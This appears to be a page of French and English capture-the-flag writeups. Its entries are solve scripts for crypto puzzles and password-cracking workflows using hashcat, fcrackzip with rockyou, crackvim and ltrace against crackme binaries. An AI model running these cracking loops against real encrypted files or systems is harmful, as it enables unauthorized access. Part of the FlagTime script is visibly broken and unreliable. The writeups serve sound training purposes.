Writeups

 
 

Liste des Writeups (& CTFTime)

  2017-2018

  • TUCTF
  • JuniorCTF
  • EvlzCTF
    • ctftime
    • Yahoo
    • LOL

    • Fichier lol

      
      #! /usr/bin/env python2.7
      import binascii
      
      fichier=open("lol","r")
      ligne=fichier.readline()
      L=[]
      L.append(ligne)
      chaine=L[0]
      
      chaine2=""
      for i in range(len(chaine)):
          if chaine[i]=="\t":
              chaine2+="1"
          else:
              chaine2+="0"
      
      s = int('0b'+chaine2, 2)
      flag=binascii.unhexlify('%x' % s)
      print flag
      
      
    • typical
  • EasyCTF
    • ctftime
    • Intro: Reverse Engineering

    • download solve.py

      
      #!/usr/bin/env python3
      import binascii
      key = "JDClkFeX"
      def mystery(s):
          r = ""
          for i, c in enumerate(s):
              #print ((i,c))
              r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
              #print (binascii.hexlify(bytes(r, "utf-8")).decode("utf-8"))
              #print (len((binascii.hexlify(bytes(r, "utf-8")).decode("utf-8"))))
          return binascii.hexlify(bytes(r, "utf-8"))
      
      #print (mystery("easyctf{"))
      
      cipherhex="6525c3b53dc38f2a3813330cc3bfc3965bc3acc3bf77c383c3acc3977603c3b8c3aac390c294c3a0c2a819"
      key = "JDClkFeX"
      
      def resolve(cipherhex,key):
          flag=""
          rang=1
          i=0
          while rang<len(cipherhex):
              test1=cipherhex[rang-1:rang+1]
              test2=cipherhex[rang-1:rang+3]
              test=False
              number=0
              while test==False:
                  r=chr(number ^ ((i * ord(key[i % len(key)])) % 256))
                  x=binascii.hexlify(bytes(r, "utf-8")).decode("utf-8")
                  number+=1
                  if x==test1:
                      rang+=2
                      i+=1
                      flag+=chr(number-1)
                      test=True
                  elif x==test2:
                      rang+=4
                      i+=1
                      flag+=chr(number-1)
                      test=True
                  elif number==257:
                      return "erreur"
          return flag
      
      print (resolve(cipherhex,key))
      
      
    • xor

    • download solve.py

      
      #! /usr/bin/python3
      
      cipher="-);1+<.3/!$+>!8;8>!!8;*)%0'+ ,;!'5"
      flag_start="easyctf{"
      keytest=""
      for i in range(len(flag_start)):
          keytest+=chr(ord(flag_start[i])^ord(cipher[i]))
      key=keytest[0] # lenght = 1
      print ("KEY = "+key)
      flag=""
      for i in range(len(cipher)):
          flag+=chr(ord(cipher[i])^ord(key))
      print ("FLAG = "+flag)
      
      
    • Nosource, Jr

    • download file.js
      download solve.py

      From dev tools we get :
      
      window.encryptionKey = 'nosource';
      
      function process(a, b) {
        'use strict';
        var len = Math.max(a.length, b.length);
        var out = [];
        for (var i = 0, ca, cb; i < len; i++) {
          ca = a.charCodeAt(i % a.length);
          cb = b.charCodeAt(i % b.length);
          out.push(ca ^ cb);
        }
        return String.fromCharCode.apply(null, out);
      }
      
      (function (global) {
        'use strict';
        var formEl = document.getElementById('flag-form');
        var inputEl = document.getElementById('flag');
        var flag = 'Fg4GCRoHCQ4TFh0IBxENAE4qEgwHMBsfDiwJRQImHV8GQAwBDEYvV11BCA==';
        formEl.addEventListener('submit', function (e) {
          e.preventDefault();
          if (btoa(process(inputEl.value, global.encryptionKey)) === flag) {
            alert('Your flag is correct!');
          } else {
            alert('Incorrect, try again.');
          }
        });
      })(window);
      
      
      chaine is the flag decoded from base64 to ascii number equivalence you can chack on asciitohex website it is xor cipher

      
      #! /usr/bin/python
      chaine="22 14 6 9 26 7 9 14 19 22 29 8 7 17 13 0 78 42 18 12 7 48 27 31 14 44 9 69 2 38 29 95 6 64 12 1 12 70 47 87 93 65 8"
      L=chaine.split(" ")
      for i in range(len(L)):
          L[i]=int(L[i])
      print (L)
      
      def process(b,L):
          maxi=max(len(L),len(b))
          liste=[]
          for i in range(maxi):
              ca = L[i % len(L)]
              cb = ord(b[i % len(b)])
              liste.append(ca ^ cb)
          return liste
      
      b="soupy"
      X=process(b,L)
      #flag ^ key = cipher
      #cipher ^ key = flag
      # cipher ^ flag = key
      s=""
      for u in X:
          s+=str(chr(u))
      print s
      
      
    • zipperoni

    • download zipfiles
      download solve.sh

      Using hashcat - Simple code
      The variable 'pattern' is just here to translate the pattern format from pattern.txt (ex : '00aA0') so it matches hashcat's one ( '?d?d?l?U?d').
      Just unzip begin.zip before you execute this script.

      
      #! /bin/bash
      
      while true; do
          pattern=$(cat pattern.txt | sed s/a/?l/g | sed s/A/?u/g | sed s/0/?d/g)
          hashcat -a3 -m100 -w3 -o recovered.txt --outfile-format=2 hash.txt "$pattern"
          tail -n1 recovered.txt
          unzip -o -P $(tail -n1 recovered.txt) ../$(cat filename.txt)
      done
      
      
      Just wait for 2 or 3 minutes until the file flag.txt appears

    • Substitute

    • download solve.py

      
      #! /usr/bin/python
      chaine="FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL."
      print "-------"
      print chaine
      print "-------"
      """
      CALFWEN
      EASYCTF
      """
      
      alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
      sortie=["Z"]*len(alpha)
      sortie[alpha.index('E')]='C'
      sortie[alpha.index('A')]='A'
      sortie[alpha.index('S')]='L'
      sortie[alpha.index('Y')]='F'
      sortie[alpha.index('C')]='W'
      sortie[alpha.index('T')]='E'
      sortie[alpha.index('F')]='N'
      sortie[alpha.index('G')]='O'
      sortie[alpha.index('U')]='G'
      sortie[alpha.index('L')]='S'
      sortie[alpha.index('O')]='I'
      sortie[alpha.index('N')]='X'
      sortie[alpha.index('W')]='U'
      sortie[alpha.index('R')]='D'
      sortie[alpha.index('P')]='H'
      sortie[alpha.index('I')]='J'
      sortie[alpha.index('D')]='M'
      sortie[alpha.index('H')]='P'
      
      flag=""
      for i in range(len(chaine)):
          if chaine[i] not in alpha:
              flag+=chaine[i]
          else:
              try:
                  indice=sortie.index(chaine[i])
                  flag+=alpha[indice]
              except:
                  flag+=chaine[i]
      print flag
      print "-------"
      
      flag=flag[152:190].lower()
      print flag
      
      
    • FlagTime

    • download solve.py

      
      #! /usr/bin/python3
      import time
      import socket
      server = "c1.easyctf.com"
      port=12482
      
      alpha="!}_34abcdefghijklmnopqrstuvwxyz01256789{"
      x=[]
      while True:
          i=0
          x=[]
          data=""
          while i0.2:
                      if delai>ref:
                          data+=alpha[i]
                      else:
                          data+=alpha[0]
                      i=0
                      print "---"
                      print data
                      print "---"
                  else:
                      i+=1
      
              if i==len(alpha):
                  i=0
                  indice=x.index(max(x))
                  data+=alpha[indice]
                  print "---"
                  print x
                  print data
                  print "---"
                  x=[]
              if "no" not in receive:
                  print data
                  break
      
      
  • TamuCTF
    • ctftime
    • XORbytes

    • download hexxy
      download solve.py

      
      xxd hexxy | sort 
      
      
      output (extract) First line : 07 7d 21 is for 45 4C 46 (E L F)
      
      00000000: 2e07 7d21 316d 3542 3575 7a50 6a6a 4434  ..}!1m5B5uzPjjD4
      
      
      Several lines : 51 42 ... 44 34 is for 00 00 ... 00 00
      
      00000870: 5142 3167 336c 3442 3575 7a50 6a6a 4434  QB1g3l4B5uzPjjD4
      ...
      00000da0: 5142 3167 336c 3442 3575 7a50 6a6a 4434  QB1g3l4B5uzPjjD4
      
      
      Let's script it with python
      
      #! /usr/bin/env python3
      f = open("./hexxy", "rb")
      startkey = b"|"
      data = f.read()
      startkey += bytes([ord('E') ^ data[1]]) #data[1]=0x07
      startkey += bytes([ord('L') ^ data[2]]) #data[2]=0x7d
      startkey += bytes([ord('F') ^ data[3]]) #data[3]=0x21
      
      keypart = b""
      keypart+= bytes([0 ^ int("51",16)])
      keypart+= bytes([0 ^ int("42",16)])
      keypart+= bytes([0 ^ int("31",16)])
      keypart+= bytes([0 ^ int("67",16)])
      keypart+= bytes([0 ^ int("33",16)])
      keypart+= bytes([0 ^ int("6c",16)])
      keypart+= bytes([0 ^ int("34",16)])
      keypart+= bytes([0 ^ int("42",16)])
      keypart+= bytes([0 ^ int("35",16)])
      keypart+= bytes([0 ^ int("75",16)])
      keypart+= bytes([0 ^ int("7a",16)])
      keypart+= bytes([0 ^ int("50",16)])
      keypart+= bytes([0 ^ int("6a",16)])
      keypart+= bytes([0 ^ int("6a",16)])
      keypart+= bytes([0 ^ int("44",16)])
      keypart+= bytes([0 ^ int("34",16)])
      
      print (startkey) #b'QB1g3l4B5uzPjjD4'
      print (keypart)  #b'|B1g'
      key=keypart
      cleartext = b""
      
      for i in range(len(data)):
          cleartext += bytes([key[i % len(key)] ^ data[i]])
      
      out = open("cleartext", "wb")
      out.write(cleartext)
      out.close()
      
      f.close()
      
      
      So now we get the output cleartext :
      
      strings cleartext | grep -i gigem
      
      
      FLAG : GigEm{NibblerEatsNibbles}
    • readyXornot

    • download solve.py

      
      #! /usr/bin/python
      import base64
      
      plaindata="El Psy Congroo"
      cipherdata="IFhiPhZNYi0KWiUcCls="
      cipherflag="I3gDKVh1Lh4EVyMDBFo="
      
      cipherdata=base64.b64decode("IFhiPhZNYi0KWiUcCls=")
      cipherflag=base64.b64decode("I3gDKVh1Lh4EVyMDBFo=")
      
      key=""
      maxi=max(len(plaindata),len(cipherdata))
      for i in range(maxi):
          key+=chr(ord(plaindata[i%len(plaindata)])^ord(cipherdata[i%len(cipherdata)]))
      print key
      
      flag=""
      maxi=max(len(key),len(cipherflag))
      for i in range(maxi):
          flag+=chr(ord(cipherflag[i%len(cipherflag)])^ord(key[i%len(key)]))
      print flag
      
      
    • Enigma Too Far?

    • download solve.py

      Linux install:

      
      sudo apt install python-pip
      pip install py-enigma
      
      
      Now find the ring setting for enigma and solve with python :

      
      
      #! /usr/bin/python
      from enigma.machine import EnigmaMachine
      import copy
      
      def next_position(M):
          L=copy.deepcopy(M)
          if L==len(L)*[25]:
              return L
          i=len(L)-1
          while L[i]==25:
              L[i]=0
              i-=1
          L[i]+=1
          return L
      
      # example : nextposition([2,7,25]) = [2,8,1]
      
      def get_setting():
          test=""
          ring_setting=[1,1,1]
          ciphertext = 'IPUXZGICZWASMJFGLFVIHCAYEG'
          plaintext="HOWDYAGGIESTHEWEATHERISFINE"
          while 'HOWDYAGGIES' not in test:
              ring_setting=next_position(ring_setting)
              machine = EnigmaMachine.from_key_sheet(
                  rotors='I II III',
                  reflector='B',
                  ring_settings=ring_setting,
                  plugboard_settings='AV BS CG DL FU HZ IN KM OW RX')
              test = machine.process_text(ciphertext)
          return ring_setting
          
      ring_setting=get_setting()
      ciphertext="LTHCHHBUZODFLJOAFNNAEONXPLDJQVJCZPGAVOLN"
      machine = EnigmaMachine.from_key_sheet(
         rotors='I II III',
         reflector='B',
         ring_settings=ring_setting,
         plugboard_settings='AV BS CG DL FU HZ IN KM OW RX')
      plaintext = machine.process_text(ciphertext)   
      print plaintext
      
      
  • AngstromCTF
    • ctftime
    • affine

    • download solve.py

      
      #! /usr/bin/python
      # WARMUP
      # Crypto , 10
      
      
      def get_coeff_list(cipher,start,alpha):
          """ y = a*x + b """
          L=[]
          for i in range(len(alpha)):
              for j in range(len(alpha)):
                  compt=0
                  for p in range(len(start)):
                      if (i*alpha.index(start[p])+j)%len(alpha)==alpha.index(cipher[p]):
                          compt+=1
                  if compt==len(start):
                      L.append([i,j])
          return L
      
      def inv(a,alpha):
          for num in range(len(alpha)):
              if (a*num)%len(alpha)==1:
                  return num
          return None
      
      def get_plain(cipher,alpha,coeff):
          """
          modular inverse:
          a*a^-1 = 1 mod(p)
          y = a*x + b
          x = a^-1*y -b
          """
          [a,b]=coeff
          print ("coeff = "+str([a,b]))
          plain=""
          for i in range(len(cipher)):
              if cipher[i] not in "{_}":
                  index=(inv(a,alpha)*(alpha.index(cipher[i])-b))%len(alpha)
                  plain+=alpha[index]
              else:
                  plain+=cipher[i]
          return plain
      
      def main():
          alpha="abcdefghijklmnopqrstuvwxyz"
          cipher="myjd{ij_fkwizq}"
          start="actf"
          L=get_coeff_list(cipher,start,alpha)
          for coeff in L:
              print(get_plain(cipher,alpha,coeff))
          return
      
      main()
      
      
    • xor

    • download solve.py

      
      #! /usr/bin/env python3
      cipherhex="fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7"
      alpha="0123456789abcdef"
      cipher=""
      for i in range(1,len(cipherhex),2):
              cipher+=chr(16*alpha.index(cipherhex[i-1])+alpha.index(cipherhex[i]))
      print (cipher)
      k=0
      while ord(cipher[0])^k!=ord('a'):
          k+=1
      key=chr(k)
      plain=""
      for i in range(len(cipher)):
          plain+=chr(ord(cipher[i])^ord(key))
      print (plain)
      
    • introtorsa

    • download solve.py

      
      #! /usr/bin/env python3
      import gmpy
      import binascii
      
      p = 169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927
      q = 170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267
      e = 65537
      c = 4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964
      
      n = p*q
      d = gmpy.invert(e, (p-1)*(q-1))
      m = str(hex(pow(c, d, n))[2:])
      print (binascii.unhexlify(m).decode("utf-8"))
      
      
    • ofb

    • download encrypt.py
      download flag.png.enc
      download solve.py

      encrypt.py
      
      import struct
      
      def lcg(m, a, c, x):
      	return (a*x + c) % m
      
      m = pow(2, 32)
      
      with open('lcg') as f:
      	a = int(f.readline())
      	c = int(f.readline())
      	x = int(f.readline())
      
      d = open('flag.png').read()
      d += '\x00' * (-len(d) % 4)
      d = [d[i:i+4] for i in range(0, len(d), 4)]
      
      e = ''
      for i in range(len(d)):
      	e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0])
      	x = lcg(m, a, c, x)
      
      with open('flag.png.enc', 'w') as f:
      	f.write(e)
      	f.close()
      
      

      solve.py
      
      #! /usr/bin/env python3
      import struct
      
      
      def lcg(m, a, c, x):
          return (a*x + c) % m
      
      
      f = open("flag.png.enc", "rb")
      ciphertext = f.read()
      f.close()
      
      # D'après les headers de PNG...
      cleartext = b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
      
      print("m: {}".format(pow(2, 32)))
      for i in range(len(cleartext)//4):
          block = struct.unpack(">I", ciphertext[i*4:(i+1)*4])[0]
          key = block ^ struct.unpack(">I", cleartext[i*4:(i+1)*4])[0]
      
          print("key {}: {}".format(i, key))
      
      # On a maintenant les 4 premières clés, on peut résoudre ez le système
      # d'équations:
      # https://www.wolframalpha.com/input/?i=(2445943554*x%2By)%252%5E32+%3D+2225636917,+(2225636917*x%2By)%252%5E32+%3D+1320590709,+(1320590709*x%2By)%252%5E32+%3D4196912501
      
      # et hop on decipher
      
      a = 3204287424
      c = 1460809397
      m = pow(2, 32)
      
      block = struct.unpack(">I", ciphertext[:4])[0]
      x = block ^ struct.unpack(">I", cleartext[:4])[0]
      
      cleartext = b""
      
      for i in range(len(ciphertext)//4):
          cipherchunk = struct.unpack(">I", ciphertext[i*4:(i+1)*4])[0]
          cleartext += struct.pack(">I", x ^ cipherchunk)
          x = lcg(m, a, c, x)
      
      f = open("flag.png", "wb")
      f.write(cleartext)
      f.close()
      
      
    • writeups sshrsa
    • writeups sshrsa 2
  • BreizhCTF
    • writeups 1
    • writeups 2
    • writeups 3
    • babyjs

    • download baby.js
      download extracted.js
      download solve.py

      JsFuck:
      Encode : http://jscrew.it/
      Decode : http://ooze.ninja/javascript/poisonjs/

      baby.js
      
      [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]]
      ...
      []+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]))()
      
      
      extracted.js
      
      function breizHash(string, method)  {   
          if (!('ENCRYPT' == method || 'DECRYPT' == method)) {
              method = 'ENCRYPT';
          }
          if ('ENCRYPT' == method){
              var output = '';
              for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
                  charCode = string.charCodeAt(x);
                  if (128 > charCode) {
                      charCode += 128;       
                  } else if (127 < charCode) {
                      charCode -= 128;
                  }       
                  charCode = 255 - charCode;
                  hexCode = charCode.toString(16);
                  if (2 > hexCode.length) {         
                      hexCode = '0' + hexCode;       
                  }        
                  output += hexCode;     
              }     
              return output;   
      
      
      solve.py
      
      #! /usr/bin/env python3
      import binascii
      string="3d25373c2b39044f1d390a4a1c4b484e4f11204e4a20114f48204a4c3c0a0d16480620084c131c4f124c200b4f20352c20084f0d131b02"
      plain=""
      for i in range(1,len(string),2):
          duo=string[i-1:i+1]
          x=ord(binascii.unhexlify(duo))
          x=255-x
          if x<=128:
              x-=128
          elif x>=128:
              x-=128
          plain+=chr(x)
      print (plain)
      
      
    • breizhkoinminer

    • download gen.sh

      Generate 42 sha-512 hashs starting by 1337
      
      #! /bin/bash
      
      echo '' > res.txt
      lines=$(wc -l res.txt | cut -d' ' -f1)
      while [ $lines -lt 42 ] ; do
      	cat /dev/urandom | head -n 1 | base64 > temp
      	hash=$(sha512sum temp | cut -d' ' -f1)
              short=$(echo $hash | cut -c1-4)
      	if [ "$short" == "1337" ]; then
      		echo $hash > res.txt
      		echo $hash
      	fi
              lines=$(wc -l res.txt | cut -d' ' -f1)
      done
      
      
    • dickcrypt
  • ESIEACTF
    • 2016-2017 Edition
    • sqli1

    • download client_origin.py

      Pour test_level1, par default, dans certaines configurations, la table password existe donc n'importe quel user et password permet de passer la requête.
      
      #encoding: utf-8
      
      import socket
      import sys
      
      # change this if needed
      HOST = '192.168.1.73'
      # change this if needed
      IP   = 8095
      
      
      def create_socket():
      	try:
      		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      		s.settimeout(1)
      		s.connect((HOST,IP))
      	except Exception as e:
      		print("Can't open socket !")
      		print(e)
      		sys.exit(1)
      	return s
      
      
      def test_level1():
      	print("[+] Test level1 ...")
      	s = create_socket()
      
      	login = "toto"
      	password = "toto"
      	cmd = "\x01%s\x00%s" % (login,password)
      	s.send(cmd.encode('utf-8'))
      	msg = s.recv(1024)
      	if msg and msg.decode('utf-8').startswith("Welcome"):
      		print(msg.decode('utf-8'))
      		res = s.recv(1024)
      		print(res.decode('utf-8'))
      	else:
      		print("If you called a valid level, notice an admin")
      	s.close()
      
      def test_level2():
      	print("[+] Test level2 ...")
      	s = create_socket()
      
      	citation = 1
      	s.send(b"\x02%d" % citation)
      	msg = s.recv(1024)
      	if msg and msg.decode('utf-8').startswith("Welcome"):
      		print(msg.decode('utf-8'))
      		res = s.recv(1024)
      		print(res.decode('utf-8'))
      	else:
      		print("If you called a valid level, notice an admin")
      	s.close()
      
      
      if __name__ == '__main__':
      	test_level1()
      	print("")
      	test_level2()
      
      
    • googleserials

    • download source_code.py
      download googleserials.py

      Un site web demandait de trouver deux 'google serials' vérifiant les conditions du code source (en python)
      source_code.py
      
      #! /usr/bin/env python3
      def are_same(serial):
      	if (serial[0] != serial[1] and
      		serial[1] != serial[2] and
      		serial[0] != serial[2]):
      		return False
      	return True
      
      def check_serial(serial):
      	try:
      		serials = serial.split('-')
      	except:
      		return False
      
      	if len(serials) != 3:
      		return False
      	try:
      		X = [ord(a) for a in list(serials[0])]
      		Y = [ord(a) for a in list(serials[1])]
      		Z = int(serials[2])
      	except ValueError:
      		return False
      	except:
      		return False
      
      	if not len(X) == 3 or not len(Y) == 3:
      		return False
      	for a in X+Y:
      		if a < 65 or a > 90:
      			return False
      	if are_same(X) or are_same(Y):
      		return False
      	if X[1] + 10 > X[2]:
      		return False
      	if Y[1] - 10 < Y[2]:
      		return False
      	sum1 = X[0] + X[1] + X[2]
      	sum2 = Y[0] + Y[1] + Y[2]
      	if sum1 == sum2:
      		return False
      	if sum1+sum2 != Z:
      		return False
      	if Z % 3 != 0:
      		return False
      	return True               
      		
      
      On cherche alors la liste des 'google serials' vérifiant toutes les conditions

      googleserials.py
      
      #! /usr/bin/env python3
      def find_serial():
          LX=[]
          for i in range(65,90):
              for j in range(65,90):
                  for k in range(65,90):
                      X=[i,j,k]
                      if X[1] + 10 <= X[2]:
                          LX.append(X)
          LY=[]
          for i in range(65,90):
              for j in range(65,90):
                  for k in range(65,90):
                      Y=[i,j,k]
                      if not Y[1] - 10 < Y[2]:
                          LY.append(Y)
          rang=0
          for X in LX:
              for Y in LY:
                  rang+=1
                  sum1 = X[0] + X[1] + X[2]
                  sum2 = Y[0] + Y[1] + Y[2]
                  Z=sum1+sum2
                  if not sum1 == sum2 and not sum1+sum2 != Z and not Z % 3 != 0 and not are_same(X) and not are_same(Y):
                      serial=""
                      for i in X:
                          serial+=chr(i)
                      serial+="-"
                      for i in Y:
                          serial+=chr(i)
                      serial+="-"
                      serial+=str(Z)
                      print(serial)
                      print(check_serial(serial))
      
      find_serial()
      
      
    • emojimadness

    • download file.js
      download solve.py

      il s'agit d'un challenge d'obfucation, cependant, rien ne sert d'essayer de comprendre le code, on décode toutes les chaines de caractères que l'on trouve dans le code et on obtient le flag

      file.js
      
      eval("function 😀(😴){alert(😴)} function 😎(😴){return window.prompt(😴)}");eval("function 😬(😷, 😞){return 😷^😞;}");eval("😨 = '='");eval("😈 = 😨.charCodeAt(0).toString()[0];");eval("😶 = 😨.charCodeAt(0).toString()[1];");eval("function 😲(😷, 😞){return 😞^😷;}");eval("function 😚(😷){return btoa(😷);} function 😏(😷){return atob(😷);}");eval("function 😌(😷){var arr = [];for (var 😳 = (parseInt(😶)-parseInt(😶)), 😰 = 😷.length; 😳 < 😰; 😳 ++) {var 😭 = Number(😷.charCodeAt(😳)).toString(parseInt(😶+😈));arr.push(😭);}return arr.join('');}");eval("function 😘(😷){var 😭 = 😷.toString();var str = '';for (var 😕 = (parseInt(😶)-parseInt(😶)); 😕 < 😭.length; 😕 += (parseInt(😶)+parseInt(😶)))str += String.fromCharCode(parseInt(😭.substr(😕, (parseInt(😶)+parseInt(😶))), parseInt(😶+😈)));return str;}");eval("function 😇(){😒 = 😎(😘('456e7472657a206c65206d6f74206465207061737365202f20456e7465722070617373776f7264')); if(😌(😚(😒))=='52564e46653070545831526f4e48526652476c7964486c664a6c39544d33683558307730626d64314e47637a66513d3d'){😀(😏('R09PRCBKT0I='));}else{😀(😏('VE9PIEJBRA=='));}}");eval("function 😐(){😒 = 😎(😘('456e7472657a206c65206d6f74206465207061737365202f20456e7465722070617373776f7264')); if(😌(😚(😒))=='52564e46653164796232356e58305a7359576439'){😀(😏('R09PRCBKT0I='));}else{😀(😏('VE9PIEJBRA=='));}}");eval("😇()");eval("function 😆(){😒 = 😎(😘('456e7472657a206c65206d6f74206465207061737365202f20456e7465722070617373776f7264')); if(😌(😚(😒))=='52564e4665315279655639425a324670626934754c6935454f6e303d'){😀(😏('R09PRCBKT0I='));}else{😀(😏('VE9PIEJBRA=='));}}");eval("function 😪(😷){var arr = [];for (var 😳 = (parseInt(😶)-parseInt(😶)), 😰 = 😷.length; 😳 < 😰; 😳 ++) {var 😭 = Number(😷.charCodeAt(😳)).toString(parseInt(😶+😈));arr.push(😭);}return arr.join('');}");
      
      
      solve.py
      
      #! /usr/bin/env python3
      import binascii
      import base64
      
      a="456e7472657a206c65206d6f74206465207061737365202f20456e7465722070617373776f7264"
      b=binascii.unhexlify(a)
      print(b)
      c="52564e46653070545831526f4e48526652476c7964486c664a6c39544d33683558307730626d64314e47637a66513d3d"
      d=binascii.unhexlify(c)
      print(d)
      #d="RVNFe0pTX1RoNHRfRGlydHlfJl9TM3h5X0w0bmd1NGczfQ=="
      e=base64.b64decode(d)
      print(e)
      
      
    • specialk

    • download special-k.png

      Une image est cachée dans une autre, on utilise binwalk. D'habitude un binwalk -e premet d'extraire le contenu mais pas toujours. On utilise alors:

      
      binwalk special-k.png
      
      DECIMAL       HEXADECIMAL     DESCRIPTION
      --------------------------------------------------------------------------------
      0             0x0             PNG image, 1000 x 667, 8-bit/color RGB, non-interlaced
      159           0x9F            Zlib compressed data, best compression
      837364        0xCC6F4         PNG image, 912 x 500, 8-bit grayscale, non-interlaced
      837479        0xCC767         Zlib compressed data, best compression
      
      #man dd -->  skip=N: skip N ibs-sized blocks at start of input
      dd if=special-k.png skip=1 of=flag.png bs=837364
      
      
    • restrictedshamirarea

    • download data.txt
      download solve.py

      En premier, on enlève les caractères parasites dans le fichier data.txt: les données sont des entiers, des lettres s'y sont glissées 'WHYUDOTHIS'
      Exercice classique de RSA: Attention toutefois à ce que le nombre de caractère de la chaine hexadécimale soit paire pour que binascii puisse convertir en ascii.
      Il est important de ne pas utiliser systématiquement l'attribut .decode() sur des bytes dans le cas ou les caractères ne peuvent être affichés.

      
      #! /usr/bin/env python3
      import gmpy
      import binascii
      import re
      
      def data():
          c = 8512942369278870620266148394031974973044689894318163405235627071338508361981245640515321886323623390252066685867878730572594793028625740872676348157811963213650335841690548896054575248387263509405115175626839517958199163090894621720633982895296161537817707203713030697607480552624228616963872785874824247210477650193084335394032968774670121494455638729707244785758702704362217088788343985316505226237603774904621
          e = 65537
          n = 11461532818525251775869994369956628325437478510485272730419843320517940601808597552925629451795611990372651568770181872282590309894187815091191649914833274805419432525386234876477307472337026966745408507004000948112191973777090407558162018558945596691322909404307420094584606103206490426551745910268138393804043641876816598599064856358266650339178617149833032309379858059729179857419751093138295863034844253827963
          p = 11957987510443514049047696785587234758227153373363589891876816598599064856358266650339178617149833032309379858059729179857419751093138295863034844253827963
          q = 958483424448747472504060861580795018746355733561446016442794600533395417361061386707061258449029078376132360127073305093209304646989718030495000998517698501250000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
          return [c,e,n,p,q]
      
      def main():
          #get p,q from factordb website
          [c,e,n,p,q]=data()
          d = gmpy.invert(e, (p-1)*(q-1))
          m = str(hex(pow(c, d, n))[2:])
          try:
              flag=binascii.unhexlify(m)
          except: #binascii.Error: Odd-length string
              flag=binascii.unhexlify(m[1:])
          x=re.search(b'ESE{\w+}',flag)
          print(x.group(0).decode())
      
      main()
      
      
    • godeeper

    • download file.zip
      download solve.sh

      Une centaine de fichiers zips sont imbriqués, on peut casser tous les mots de passes à l'aide de la wordlist archi connue rockyou. Le dernier mot de passe nécesittait de crawler la page du CTF afin de s'en faire une nouvelle wordlist

      
      file=8KLifFpoUdbxXB5noGIG.zip
      while(true); do
      	echo "$file"
      	fcrackzip -D -p rockyou.txt -u $file >> tmp.pw
      	unzip -P $(tail -n1 tmp.pw | cut -d' ' -f5) $file >> tmp.file
      	#sed -i '/^/\s*$/d' tmp.file
      	file=$(tail -n1 tmp.file | cut -d':' -f2 | sed 's/ //g')
      	echo $file >> tmp.history
      done
      
      
    • infinitecrackme

    • download infinitecrackme.zip
      download solve.sh

      La commande ltrace permet d'observer sur chacun des binaires la "string compare: strcmp" qui est effectuée. Le mot de passe était à restituer sous la forme ESE{md5(pass_chall0+...+pass_chall19)}.

      
      #! /bin/bash
      passphrase=""
      unzip infinitecrackme.zip
      number=$(ls -l | grep chall | wc -l)
      number=`expr $number - 1`
      for i in `seq 0 $number`; do
        file="chall""$i"
        ltrace -o output ./$file "test" > /dev/null
        flag=$(cat output | grep strcmp | cut -d' ' -f2 | cut -d'"' -f2)
        echo $flag
        passphrase="$passphrase""$flag"
      done
      echo -n $passphrase > output
      echo " "
      echo "ESE{""$(md5sum output | cut -d' ' -f1)""}"
      rm output
      rm chall*
      
      
    • vim

    • download loremipsum.txt

      J'ai appris qu'il était possible de chiffrer des fichiers avec vim. Il suffit de chercher sur github qui s'est déjà interesser à casser ce système et on obtient:

      
      git clone https://github.com/wjlandryiii/crackvim
      cd crackvim
      make
      cat README.md
      
      Dictionary Example
      ------------------
      
          $ ./crackvim -d /usr/share/dict/words dict_test.txt
          loaded dict_test.txt: 54 bytes
          searching for ascii text files
          using dictionary file: /usr/share/dict/words
          
          Possible password: 'unobjectionableness'
          Plaintext: sell all shares before the board meeting.
      
      
      
      ./crackvim -d rockyou.txt ../loremipsum.txt
      
      loaded ../loremipsum.txt: 778 bytes
      searching for ascii text files
      using dictionary file: rockyou.txt
      
      Possible password: '1337'
      Plaintext: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque
      viverra dolor urna, non dapibus urna vehicula sit amet. Ve
      
      
    • oracledsa

    • download data.txt
      download key.pub

      Pour ce challenge je n'ai pas encore la solution. Le système d'oracle est analogue au challenge que j'ai déjà pu résoudre sur RootMe en RSA. Il s'agit ici de l'algorithme DSA. A étudier ...

      
      GiveMeTheFlagPlease
      
      integer = 592539987091695382913800186729806881420833637
      
      -----BEGIN PUBLIC KEY-----
      MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAESpVRHmmdCo7d5e4ygTQQ0v6bg0IDT7Mt
      pJ4n+gWq5Nx3eiwj54klL3MNB400iI9GLJzxlRajWEaFLGCa755hX40JbLOOy6r0
      yqh+sNXuW46viPdv6hhHN5CYIUXvajfi
      -----END PUBLIC KEY-----
      
      
  • RCTF

  StarHackademINT2018

  • ZipBruteforce

    Objectif

    Il s'agit dans ce challenge de retrouver le mot de passe du fichier flag.zip afin de retrouver la liste de course pour notre animal de compagnie affamé Jean Didier


    Méthode

    Comme suggéré par l'énoncé, on va utiliser ici fcrackzip en mode bruteforce pour trouver le mot de passe qu'on sait de longueur strictement inférieure à 6.
